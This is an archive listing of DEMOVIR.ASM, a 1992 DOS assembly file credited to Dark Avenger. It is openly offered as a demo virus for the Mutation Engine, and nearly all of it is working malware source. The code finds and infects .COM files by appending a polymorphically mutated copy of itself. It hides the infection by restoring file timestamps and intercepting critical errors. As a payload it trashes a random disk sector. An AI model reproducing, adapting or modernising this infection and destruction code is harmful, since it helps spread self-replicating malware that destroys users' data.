home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MTE.ZIP / DEMOVIR.ASM next >
Assembly Source File  |  1992-04-22  |  3KB  |  177 lines

  1.  
  2. ; This is a demo virus to demonstrate
  3. ;   the Mutation Engine <tm> usage
  4.  
  5. ; Version 1.01 (1-3-92)
  6. ; (C) 1992 Dark Avenger.
  7.  
  8.     .model    tiny
  9.     .radix    16
  10.     .code
  11.  
  12.     extrn    mut_engine: near, rnd_get: near, rnd_init: near
  13.     extrn    rnd_buf: word, data_top: near
  14.  
  15.     org    100
  16.  
  17. start:
  18.     call    locadr
  19. reladr:
  20.         db      'Just a simple demo...'
  21. locadr:
  22.     pop    dx
  23.     mov    cl,4
  24.     shr    dx,cl
  25.     mov    cx,ds
  26.     add    cx,dx            ;Calculate new CS
  27.     mov    dx,offset begin
  28.     push    cx dx
  29.     retf
  30. begin:
  31.     cld
  32.     mov    di,offset start
  33.     push    es di
  34.     push    cs
  35.     pop    ds
  36.     mov    si,offset old_cod
  37.     movsb                ;Restore first 3 bytes
  38.     push    ax
  39.     mov    dx,offset dta_buf    ;Set DTA
  40.     mov    ah,1a
  41.     int    21
  42.     mov    ax,3524         ;Hook INT 24
  43.     int    21
  44.     push    es bx
  45.     mov    dx,offset fail_err
  46.     mov    ax,2524
  47.     int    21
  48.     xor    ax,ax            ;Initialize random seed
  49.     call    rnd_init
  50.     push    sp
  51.     pop    cx
  52.     sub    cx,sp
  53.     add    cx,4
  54.     push    cx
  55.     mov    dx,offset srchnam
  56.     mov    cl,3
  57.     mov    ah,4e
  58. find_lup:
  59.     int    21            ;Find the next COM file
  60.     jc    infect_done
  61.     cmp    [dta_buf+1a],ch
  62.     jnz    infect            ;If not infected, infect it now
  63. find_nxt:
  64.     push    cx
  65.     mov    dx,offset dta_buf
  66.     mov    ah,4f
  67.     jmp    find_lup
  68. infect_done:
  69.     pop    cx
  70.     loop    find_nxt
  71.     jnc    damage_done
  72.     test    al,1
  73.     jz    damage_done
  74.     xchg    ax,dx            ;Trash a random sector on the default
  75.         mov     ah,39                   ;  drive
  76.     int    21
  77.     mov    cx,1
  78.     mov    bx,offset start
  79.     int    26
  80.     popf
  81. damage_done:
  82.     pop    dx ds
  83.     mov    ax,2524         ;Restore INT 24
  84.     int    21
  85.     pop    ds
  86.     mov    dx,80            ;Restore DTA
  87.     mov    ah,1a
  88.     int    21
  89.     push    ds            ;Exit to program
  90.     pop    es
  91.     pop    ax
  92.     retf
  93. infect:
  94.     xor    cx,cx            ;Reset read-only attribute
  95.     mov    ax,4301
  96.     int    21
  97.     jc    infect_done
  98.     mov    ax,3d02         ;Open the file
  99.     int    21
  100.     jc    infect_done
  101.     xchg    ax,bx
  102.     mov    dx,offset old_cod    ;Read first 3 bytes
  103.     mov    cx,3
  104.     mov    ah,3f
  105.     int    21
  106.     jc    read_done
  107.     mov    ax,word ptr [old_cod]    ;Make sure it's not an EXE file
  108.     cmp    ax,'ZM'
  109.     jz    read_done
  110.     cmp    ax,'MZ'
  111.     jz    read_done
  112.     xor    cx,cx            ;Seek at EOF
  113.     mov    ax,4202
  114.     int    21
  115.     test    dx,dx            ;Make sure the file is not too big
  116.     jnz    read_done
  117.     cmp    ax,-2000
  118.     jnc    read_done
  119.     mov    bp,ax
  120.     sub    ax,3
  121.     mov    word ptr [new_cod+1],ax
  122.     mov    ax,5700         ;Save file's date/time
  123.     int    21
  124.     push    dx cx
  125.     mov    ax,offset data_top+0f
  126.     mov    cl,4            ;Now call the Engine
  127.     shr    ax,cl
  128.     mov    es,ax
  129.     mov    dx,offset start
  130.     mov    cx,offset _DATA
  131.     push    bp bx
  132.     add    bp,dx
  133.     xor    si,si
  134.     mov    ax,101
  135.     call    mut_engine
  136.     pop    bx ax
  137.     add    ax,cx            ;Make sure file length mod 256 = 0
  138.     neg    ax
  139.     xor    ah,ah
  140.     add    cx,ax
  141.     push    cs
  142.     pop    ds
  143.     jc    write_done
  144.     sub    cx,ax
  145.     jnz    write_done
  146.     mov    dx,offset new_cod
  147.     mov    cx,3
  148.     mov    ah,40
  149.     int    21
  150. write_done:
  151.     pop    cx dx            ;Restore file's date/time
  152.     mov    ax,5701
  153.     int    21
  154. read_done:
  155.     mov    ah,3e            ;Close the file
  156.     int    21
  157.     jmp    infect_done
  158.  
  159. fail_err:                ;Critical errors handler
  160.     mov    al,3
  161.     iret
  162.  
  163. srchnam db    '*.COM',0
  164.  
  165. old_cod:                ;Buffer to read first 3 bytes
  166.     ret
  167.     dw    ?
  168.  
  169. new_cod:                ;Buffer to write first 3 bytes
  170.     jmp    $+100
  171.  
  172.     .data
  173.  
  174. dta_buf db    2bh dup(?)        ;Buffer for DTA
  175.  
  176.     end    start
  177.